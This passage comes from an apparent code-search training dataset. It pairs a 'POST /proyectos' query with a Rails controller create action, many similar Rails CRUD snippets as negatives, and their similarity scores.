Comprobante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comprobante }\n end\n end", "def show\n @programa = Programa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @programa }\n end\n end", "def index\n @prueba_jsons = PruebaJson.all\n end", "def show\n @odontologia1 = Odontologia1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @odontologia1 }\n end\n end", "def index\n @proyectos = Proyecto.all\n if params[:categoria]\n proyectos_ids = ProyectosCategoria.where(id: params[:categoria]).last.proyecto_ids\n @proyectos = @proyectos.where(id: proyectos_ids)\n end\n @categorias = ProyectosCategoria.all\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def show\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ativo_outro }\n end\n end", "def show\n @ventas_presupuesto = Ventas::Presupuesto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_presupuesto }\n end\n end", "def show\n @competency_pertenece_asignatura = CompetencyPerteneceAsignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency_pertenece_asignatura }\n end\n end", "def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end", "def show\n @palabras_clafe = PalabrasClave.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palabras_clafe }\n end\n end", "def index\n @patrocinios = Patrocinio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patrocinios }\n end\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend", "def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end", "def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end", "def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end", "def index\n @prospies = Prospie.all\n end", "def index\n @programa_de_interes = ProgramaDeIntere.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programa_de_interes }\n end\n end", "def show\n\n \n\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def show\n \t@empresa = Core::Empresa.find(params[:empresa_id])\n @core_porto = Core::Porto.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_porto }\n end\n end" ]
[ "0.6869162", "0.6627264", "0.6622362", "0.64687264", "0.64342415", "0.64342415", "0.6414031", "0.6404556", "0.63873637", "0.63873637", "0.63873637", "0.63873637", "0.63007545", "0.6292506", "0.62899554", "0.6219895", "0.621479", "0.62051284", "0.6172969", "0.6172119", "0.6154131", "0.6154131", "0.6153226", "0.6145715", "0.6142632", "0.6132852", "0.6116134", "0.6109534", "0.60957944", "0.6092111", "0.608329", "0.6066986", "0.6061744", "0.60543346", "0.60403067", "0.6038919", "0.60374427", "0.60303724", "0.6025403", "0.6021222", "0.6021222", "0.5985627", "0.597684", "0.59732264", "0.5972385", "0.5970679", "0.5970679", "0.59613293", "0.59607476", "0.5956143", "0.5952307", "0.59475195", "0.5941988", "0.5938277", "0.591859", "0.59138495", "0.59043527", "0.58980364", "0.589711", "0.5893248", "0.5892338", "0.58916825", "0.5883179", "0.5874896", "0.5872368", "0.5870526", "0.5863778", "0.58596975", "0.58577543", "0.5855728", "0.58528095", "0.5852058", "0.58510983", "0.5850237", "0.58376867", "0.5835241", "0.5821618", "0.5819827", "0.5811559", "0.58076954", "0.58059186", "0.58009785", "0.5794875", "0.5787482", "0.5785414", "0.5785245", "0.57798684", "0.5774509", "0.5773787", "0.5772308", "0.5772226", "0.5772127", "0.5772127", "0.57720673", "0.57677776", "0.5767567", "0.575972", "0.575795", "0.5757653", "0.5751427", "0.5747904" ]
0.0
-1
POST /proyectos POST /proyectos.json
def create @proyecto = Proyecto.new(proyecto_params) respond_to do |format| if @proyecto.save format.html { redirect_to action: "index", notice: 'Proyecto was successfully created.' } format.json { render :show, status: :created, location: @proyecto } flash[:success] = "Proyecto creado" else format.html { render :new } format.json { render json: @proyecto.errors, status: :unprocessable_entity } flash[:danger] = "Error al crear el proyecto" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @proyect = Proyect.new(params[:proyect])\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: 'Proyect was successfully created.' }\n format.json { render json: @proyect, status: :created, location: @proyect }\n else\n format.html { render action: \"new\" }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyect = Proyect.new(proyect_params)\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: 'Proyect was successfully created.' }\n format.json { render :show, status: :created, location: @proyect }\n else\n format.html { render :new }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyect = Proyect.new(proyect_params)\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: \"Proyect was successfully created.\" }\n format.json { render :show, status: :created, location: @proyect }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyectos_user = ProyectosUser.new(proyectos_user_params)\n\n respond_to do |format|\n if @proyectos_user.save\n format.html { redirect_to @proyectos_user, notice: 'Proyectos user was successfully created.' }\n format.json { render action: 'show', status: :created, location: @proyectos_user }\n else\n format.html { render action: 'new' }\n format.json { render json: @proyectos_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:propietario]\n @negocio_propio = Negocio.find(params[:negocio_id])\n @propietario = Usuario.find(params[:usuario_id])\n authorize! :update, @propietario\n if @propietario.negocios_propios << @negocio_propio\n render json: @propietario.negocios_propios, status: :created\n else\n render json: @propietario.negocios_propios.errors, status: :unprocessable_entity\n end\n else\n @negocio = Negocio.new(parametros_negocio)\n authorize! :create, Negocio\n if @negocio.save\n render json: @negocio, status: :created\n else\n render json: @negocio.errors, status: :unprocessable_entity\n end\n end\n end", "def create\n @profesor = Profesor.new(profesor_params)\n\n if @profesor.save\n render json: @profesor, status: :created, location: @profesor\n else\n render json: @profesor.errors, status: :unprocessable_entity\n end\n end", "def proyectos_user_params\n params.require(:proyectos_user).permit(:user_id, :proyectos_id)\n end", "def create\n @proyect = Proyect.new(params[:proyect])\n respond_to do |format|\n if @proyect.save\n flash[:notice] = 'Proyect was successfully created.'\n format.html { redirect_to(@proyect) }\n format.xml { render :xml => @proyect, :status => :created, :location => @proyect }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @proyect.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @prospie = Prospie.new (prospie_params)\n @prospie.user = current_user\n\n respond_to do |format|\n if @prospie.save\n format.html { redirect_to @prospie, notice: 'Prospie was successfully created.' }\n format.json { render :show, status: :created, location: @prospie }\n else\n format.html { render :new }\n format.json { render json: @prospie.errors, status: :unprocessable_entity }\n end\n end\n end", "def profilopazienti_params\n params.require(:profilopazienti).permit(:nome, :cognome, :eta, :descrizione, :paziente_id)\n end", "def create\n @tuhu_prodoct = Tuhu::Prodoct.new(tuhu_prodoct_params)\n\n respond_to do |format|\n if @tuhu_prodoct.save\n format.html { redirect_to @tuhu_prodoct, notice: 'Prodoct was successfully created.' }\n format.json { render :show, status: :created, location: @tuhu_prodoct }\n else\n format.html { render :new }\n format.json { render json: @tuhu_prodoct.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produccion = Produccion.new(params[:produccion])\n\n respond_to do |format|\n if @produccion.save\n format.html { redirect_to @produccion, notice: 'Produccion was successfully created.' }\n format.json { render json: @produccion, status: :created, location: @produccion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_proyecto = UserProyecto.new(user_proyecto_params)\n\n respond_to do |format|\n if @user_proyecto.save\n format.html { redirect_to @user_proyecto, notice: 'User proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @user_proyecto }\n else\n format.html { render :new }\n format.json { render json: @user_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usuario_proyecto = UsuarioProyecto.new(usuario_proyecto_params)\n\n respond_to do |format|\n if @usuario_proyecto.save\n format.html { redirect_to @usuario_proyecto, notice: 'Usuario proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @usuario_proyecto }\n else\n format.html { render :new }\n format.json { render json: @usuario_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @copropietario = Copropietario.new(copropietario_params)\n\n respond_to do |format|\n if @copropietario.save\n format.html { redirect_to @copropietario, notice: 'Copropietario was successfully created.' }\n format.json { render :show, status: :created, location: @copropietario }\n else\n format.html { render :new }\n format.json { render json: @copropietario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pv = Pv.new(pv_params)\n @pv.proyect = @proyect\n\n respond_to do |format|\n if @pv.save\n format.html { redirect_to proyect_pv_path(@proyect,@pv), notice: 'Propuesta de Valor ha sido creada.' }\n format.json { render :show, status: :created, location: @pv }\n else\n format.html { render :new }\n format.json { render json: @pv.errors, status: :unprocessable_entity }\n end\n end\n end", "def postulacion_params\n params.require(:postulacion).permit(:aceptado, :proyecto_id, :usuario_id)\n end", "def create\n if not ( paziente_signed_in? or administrator_signed_in?)\n redirect_to root_path and return\n end\n @profilopazienti = Profilopazienti.new(profilopazienti_params)\n\n respond_to do |format|\n if @profilopazienti.save\n format.html { redirect_to @profilopazienti, notice: \"Profilopazienti was successfully created.\" }\n format.json { render :show, status: :created, location: @profilopazienti }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @profilopazienti.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n pessoa = Pessoa.new(pessoa_params) \n \n if pessoa.save\n render json: {status: 'SUCCESSO', message:'Usuário cadastrado com sucesso!', data:pessoa},status: :ok\n else\n render json: {status: 'ERRO', message:'Usuário não pode ser cadastrado. Tente novamente mais tarde.', data:pessoa.errors},status: :unprocessable_entity\n end\n end", "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proposta = Propostum.new(propostum_params)\n\n respond_to do |format|\n if @proposta.save\n format.html { redirect_to @proposta, notice: 'Propostum was successfully created.' }\n format.json { render :show, status: :created, location: @proposta }\n else\n format.html { render :new }\n format.json { render json: @proposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: \"Proyecto was successfully created.\" }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find(session[:user_id])\n @proyecto = Proyecto.new(proyecto_params)\n @user.proyectos << @proyecto\n @proyecto.update(empresa_id: @user.id)\n #it gets values from skill \n params[:proskill][:skill_ids] ||= []\n skills = params[:proskill][:skill_ids]\n skills.each do |skill|\n @proskill = Proskill.new(skill_id: skill, proyecto_id: @proyecto.id)\n @proskill.save\n end\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @proyect = Proyect.new(proyect_params)\r\n @proyect.score = 0\r\n @proyect.actual_money = 0\r\n @proyect.initial_date = Date.today\r\n @proyect.founder = current_user\r\n\r\n respond_to do |format|\r\n if @proyect.save\r\n format.html { redirect_to @proyect, notice: 'Proyect was successfully created.' }\r\n format.json { render :show, status: :created, location: @proyect }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @produto = Produto.new(params[:produto])\n @produto.empresa = session[:usuario].empresa\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prodottos_operazione = ProdottosOperazione.new(prodottos_operazione_params)\n\n respond_to do |format|\n if @prodottos_operazione.save\n format.html { redirect_to controller: 'prodottos', action: 'show', id: @prodottos_operazione.id_prodotto }\n format.json { render :show, status: :created, location: @prodottos_operazione }\n else\n format.html { render :new }\n format.json { render json: @prodottos_operazione.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_orcamento\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: '' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def provedor_params\n params.require(:provedor).permit(:uf, :municipio, :microRegiao, :razaoSocial, :numAto, :termo, :endereco, :telefone)\n end", "def create\n @produto = Produto.create(produto_params)\n respond_with @produto\n end", "def passeio_params\n params.require(:passeio).permit(:cachorro_1_id, :cachorro_2_id, :cachorro_3_id, :status, :data_e_hora)\n end", "def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, notice: 'Premio was successfully created.' }\n format.json { render json: @premio, status: :created, location: @premio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puesto = Puesto.new(puesto_params)\n\n respond_to do |format|\n if @puesto.save\n format.html { redirect_to @puesto, notice: 'Puesto Creado.' }\n format.json { render :show, status: :created, location: @puesto }\n else\n format.html { render :new }\n format.json { render json: @puesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def propuesta_params\n params.require(:propuesta).permit(:numero, :nombre, :estado, :proyecto_id)\n end", "def create\n @produto = Produto.new(params[:produto])\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if current_user\n\tif ((current_user.username == 'Administrator') || (current_user.username =='Moderator'))\n \t\t@produkt = Produkt.new(params[:produkt])\n\t\t@produkt.rozmiarxs = params[:rozmiarxs]\n\t\t@produkt.rozmiars = params[:rozmiars]\n\t\t@produkt.rozmiarm = params[:rozmiarm]\n\t\t@produkt.rozmiarl = params[:rozmiarl]\n\t\t@produkt.rozmiarxl = params[:rozmiarxl]\n\t\t@produkt.rozmiarxxl = params[:rozmiarxxl]\n\n \t\t respond_to do |format|\n \t\t\tif @produkt.save\n \t\tformat.html { redirect_to @produkt, notice: 'Produkt dodany do bazy.' }\n \t\tformat.json { render json: @produkt, status: :created, location: @produkt }\n \t\t\telse\n \t\tformat.html { render action: \"new\" }\n \t\tformat.json { render json: @produkt.errors, status: :unprocessable_entity }\n \t\t\tend\n \t\tend\n\telse\n\tredirect_to (:produkts), :notice => \"Nie masz uprawnien do dodania produktu!\"\n\tend\n else\n\tredirect_to (:produkts), :notice => \"Nie masz uprawnien do dodania produktu!\"\n end\n end", "def create\n @permiso = Permiso.new(permiso_params)\n\n respond_to do |format|\n if @permiso.save\n format.html { redirect_to permisos_path, notice: 'Permiso fue creado con éxito.' }\n format.json { render :show, status: :created, location: @permiso }\n else\n format.html { render :new }\n format.json { render json: @permiso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @suceso_perro = SucesoPerro.new(suceso_perro_params)\n\n respond_to do |format|\n if @suceso_perro.save\n format.html { redirect_to @suceso_perro, notice: 'Suceso perro was successfully created.' }\n format.json { render :show, status: :created, location: @suceso_perro }\n else\n format.html { render :new }\n format.json { render json: @suceso_perro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puntaje = Puntaje.new(params[:puntaje])\n\n respond_to do |format|\n if @puntaje.save\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully created.' }\n format.json { render json: @puntaje, status: :created, location: @puntaje }\n else\n atributos\n format.html { render action: \"new\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @propuesta = Propuesta.new(propuesta_params)\n\n respond_to do |format|\n if @propuesta.save\n format.html { redirect_to @propuesta, notice: 'Propuesta was successfully created.' }\n format.json { render :show, status: :created, location: @propuesta }\n else\n format.html { render :new }\n format.json { render json: @propuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produccion = Produccion.new(params[:produccion])\n\n respond_to do |format|\n if @produccion.save\n format.html { redirect_to @produccion, notice: 'Se ha creado satisfactoriamente.' }\n format.json { render json: @produccion, status: :created, location: @produccion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @proyectos_categoria = ProyectosCategoria.new(proyectos_categoria_params)\n\n respond_to do |format|\n if @proyectos_categoria.save\n format.html { redirect_to @proyectos_categoria, notice: 'Proyectos categoria was successfully created.' }\n format.json { render :show, status: :created, location: @proyectos_categoria }\n else\n format.html { render :new }\n format.json { render json: @proyectos_categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def proforma_params\n params.require(:proforma).permit(:cod_proforma, :cod_solictud, :estado, :usu_crea, :fec_crea, :usu_mod, :fec_mod, :solicitud_id, :nombres, :apellidos, :dni, :correo, :telefono, :costo_base, :descuento, :costo_final)\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: t('.sucesso') }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @promocion = Promocion.new(promocion_params)\n\n respond_to do |format|\n if @promocion.save\n format.html { redirect_to @promocion, notice: 'Promocion ha sido creado.' }\n format.json { render :show, status: :created, location: @promocion }\n else\n format.html { render :new }\n format.json { render json: @promocion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proprietario = Proprietario.new(proprietario_params)\n\n respond_to do |format|\n if @proprietario.save\n format.html { redirect_to edit_imovel_path(@proprietario.imovel_id), notice: 'Proprietario was successfully created.' }\n format.json { render :show, status: :created, location: @proprietario }\n else\n format.html { render :new }\n format.json { render json: @proprietario.errors, status: :unprocessable_entity }\n end\n end\n end", "def prueba_json_params\n params[:prueba_json]\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n @actividad = Actividad.new(params[:actividad])\n respond_to do |format|\n if @actividad.save \n @actividad.visitadors.each do |v|\n pu = PuntuacionesActividad.new(:actividad_id => @actividad.id, :visitador_id => v.id, :puntuacion => @actividad.puntuacion)\n pu.save\n end\n format.html { redirect_to @actividad, notice: 'Actividad was successfully created.' }\n format.json { render json: @actividad, status: :created, location: @actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @actividad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @politecnico = Politecnico.new(politecnico_params)\n\n respond_to do |format|\n if @politecnico.save\n format.html { redirect_to @politecnico, notice: 'Politecnico was successfully created.' }\n format.json { render action: 'show', status: :created, location: @politecnico }\n else\n format.html { render action: 'new' }\n format.json { render json: @politecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def produto_params\n params.require(:produto).permit(:nome, :principioativo, :laboratorio, :concentracao, :formafarmaceutica, :tipoproduto_id)\n end", "def profissional_params\n params.require(:profissional).permit(:areas_profissional_id, :profissoes_profissional_id, :nome_completo, :nome_comercial, :whatsapp, :celular, :email, :rua, :cep, :estado, :bairro, :cidade, :ativo)\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proforma = Proforma.new(proforma_params)\n\n respond_to do |format|\n if @proforma.save\n format.html { redirect_to @proforma, notice: 'Proforma was successfully created.' }\n format.json { render :show, status: :created, location: @proforma }\n else\n format.html { render :new }\n format.json { render json: @proforma.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tauthorize! :create, Presupuesto\n @presupuesto = Presupuesto.new(presupuesto_params)\n\n respond_to do |format|\n if @presupuesto.save\n sesion = Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n\n Transaccion.create!(descripcion: \"Creación del presupuesto del proyecto #{@presupuesto.proyecto.nombre}: #{@presupuesto.attributes}\",\n sesion_id: sesion.id, \n proyecto_id: @presupuesto.proyecto.id)\n\n\n# Transaccion.create!(\n# descripcion: 'Creacion del presupuesto del proyecto'+@presupuesto.proyecto.nombre,\n# ‪ sesion_id‬: sesion.id,\n# ‪ proyecto_id‬: @presupuesto.proyecto.id\n# )\n format.html { redirect_to gestionar_presupuesto_path(@presupuesto) }#, notice: 'El Presupuesto fue creado exitosamente.' }\n #format.json { render :show, status: :created, location: @presupuesto }\n else\n format.html { redirect_to proyectos_mis_proyectos_path }\n #render :new }\n #format.json { render json: @presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proyect = current_user.proyects.new(proyect_params)\n @proyect.zone = @zone\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to [@zone,@proyect], notice: 'Proyecto Creado correctamente.' }\n format.json { render :show, status: :created, location: @proyect }\n else\n format.html { render :new }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proyect }\n end\n end", "def create\n @anteproyecto_observacion = AnteproyectoObservacion.new(anteproyecto_observacion_params)\n\n respond_to do |format|\n if @anteproyecto_observacion.save\n format.html { redirect_to @anteproyecto_observacion, notice: 'Anteproyecto observacion was successfully created.' }\n format.json { render :show, status: :created, location: @anteproyecto_observacion }\n else\n format.html { render :new }\n format.json { render json: @anteproyecto_observacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tiposervico = Tiposervico.new(tiposervico_params)\n\n respond_to do |format|\n if @tiposervico.save\n format.html { redirect_to @tiposervico, notice: 'Tiposervico was successfully created.' }\n format.json { render :show, status: :created, location: @tiposervico }\n else\n format.html { render :new }\n format.json { render json: @tiposervico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @probando = Probando.new(probando_params)\n\n respond_to do |format|\n if @probando.save\n format.html { redirect_to @probando, notice: 'Probando was successfully created.' }\n format.json { render :show, status: :created, location: @probando }\n else\n format.html { render :new }\n format.json { render json: @probando.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estadoproceso = Estadoproceso.new(estadoproceso_params)\n\n respond_to do |format|\n if @estadoproceso.save\n format.html { redirect_to @estadoproceso, notice: 'Estadoproceso was successfully created.' }\n format.json { render :show, status: :created, location: @estadoproceso }\n else\n format.html { render :new }\n format.json { render json: @estadoproceso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n ActiveRecord::Base.transaction do\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto programa se cre&oacute; exitosamente.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @prod_coti = ProdCoti.new(prod_coti_params)\n\n respond_to do |format|\n if @prod_coti.save\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully created.' }\n format.json { render :show, status: :created, location: @prod_coti }\n else\n format.html { render :new }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proceso_examan = ProcesoExaman.new(proceso_examan_params)\n\n respond_to do |format|\n if @proceso_examan.save\n format.html { redirect_to @proceso_examan, notice: 'Proceso examan was successfully created.' }\n format.json { render :show, status: :created, location: @proceso_examan }\n else\n format.html { render :new }\n format.json { render json: @proceso_examan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @protectora = Protectora.new(params[:protectora])\n\n respond_to do |format|\n if @protectora.save\n format.html { redirect_to @protectora, notice: 'Protectora was successfully created.' }\n format.json { render json: @protectora, status: :created, location: @protectora }\n else\n format.html { render action: \"new\" }\n format.json { render json: @protectora.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pessoacondominio = Pessoacondominio.new(pessoacondominio_params)\n\n respond_to do |format|\n if @pessoacondominio.save\n format.html { redirect_to @pessoacondominio, notice: 'Pessoa cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @pessoacondominio }\n else\n format.html { render :new }\n format.json { render json: @pessoacondominio.errors, status: 